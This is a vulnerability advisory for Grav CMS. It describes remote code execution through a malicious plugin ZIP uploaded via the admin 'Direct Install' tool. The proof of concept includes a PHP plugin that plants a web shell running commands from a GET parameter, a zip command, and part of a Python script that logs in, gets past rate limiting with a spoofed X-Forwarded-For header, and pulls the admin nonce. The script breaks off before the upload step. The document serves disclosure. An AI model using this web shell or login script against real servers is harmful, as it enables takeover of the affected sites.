Grav Vulnerable to Remote Code Execution (RCE) via Malicious Plugin ZIP Upload in Direct Install Feature

Summary

An authenticated user with administrative privileges can achieve Remote Code Execution (RCE) by uploading a specially crafted ZIP file through the "Direct Install" tool. While the system attempts to block direct .php file uploads, it fails to inspect the contents of uploaded ZIP archives. Once a malicious plugin is extracted, it can execute arbitrary PHP code or drop a persistent web shell on the server.

Details

The vulnerability exists in the handling of the directInstall task within the Admin plugin and the Grav Package Manager (GPM) core.

• Vulnerable Endpoints: /admin/tools/direct-install
• Vulnerable Logic: AdminController.php (lines 1247-1295) and Gpm.php (lines 214-285).
• Root Cause: The function Installer::install() (called in Gpm.php:291) extracts the contents of the ZIP file directly into the /user/

plugins/ or /user/themes/ directories without validating the file extensions or the content of the files inside the archive.

PoC

1. Prepare the Malicious Plugin

Create a directory named shellplugin and add the following files:

shellplugin.php:

<?php
namespace Grav\Plugin;
use Grav\Common\Plugin;

class ShellpluginPlugin extends Plugin {
    public static function getSubscribedEvents(): array {
        return ['onPluginsInitialized' => ['onPluginsInitialized', 0]];
    }
    public function onPluginsInitialized(): void {
        $shell_path = GRAV_ROOT . '/shell.php';
        if (!file_exists($shell_path)) {
            file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
        }
    }
}

(Also include a basic blueprints.yaml and shellplugin.yaml as per Grav standards).

2. Create the ZIP Archive

`zip -r /tmp/shellplugin.zip shellplugin/`

3. Execute the Exploit Script
Run the following Python script to automate the login, nonce retrieval, and malicious upload process:

`import requests, re, json


s = requests.Session()
BASE_URL = 'http://127.0.0.1'

1. Login and Bypass Rate Limit via X-Forwarded-For

r = s.get(f'{BASE_URL}/admin')
nonce = re.search(r'name="login-nonce" value="([^"]+)"', r.text).group(1)

r2 = s.post(f'{BASE_URL}/admin',
    headers={'X-Forwarded-For': '10.0.0.3'},
    data={'data[username]': 'admin', 'data[password]': 'admin_password_here', 'task': 'login', 'login-nonce': nonce},
    allow_redirects=False)

redirect = json.loads(r2.text)['redirect']
s.get(redirect)
print(f"[+] Logged in successfully.")

2. Extract Admin Nonce from Tools Page

tools = s.get(f'{BASE_URL}/admin/tools/direct-install')
admin_nonce = re.search(r'admin-nonce.*?value="([a-f0-9]{32})"', tools.text).group(1)
print(f"[+] Retrieved Admin Nonce: {admin_nonce}")

<img width="2547" height="756" alt="resim (2)" src="https://github.com/user-attachments/assets/6a8c25f1-9a9d-469f-ab68-3c7007e446d4" /> <img width="898" height="89" alt="resim (3)" src="https://github.com/user-attachments/assets/ec097785-1196-47a4-b24e-82fcbf0f7520" />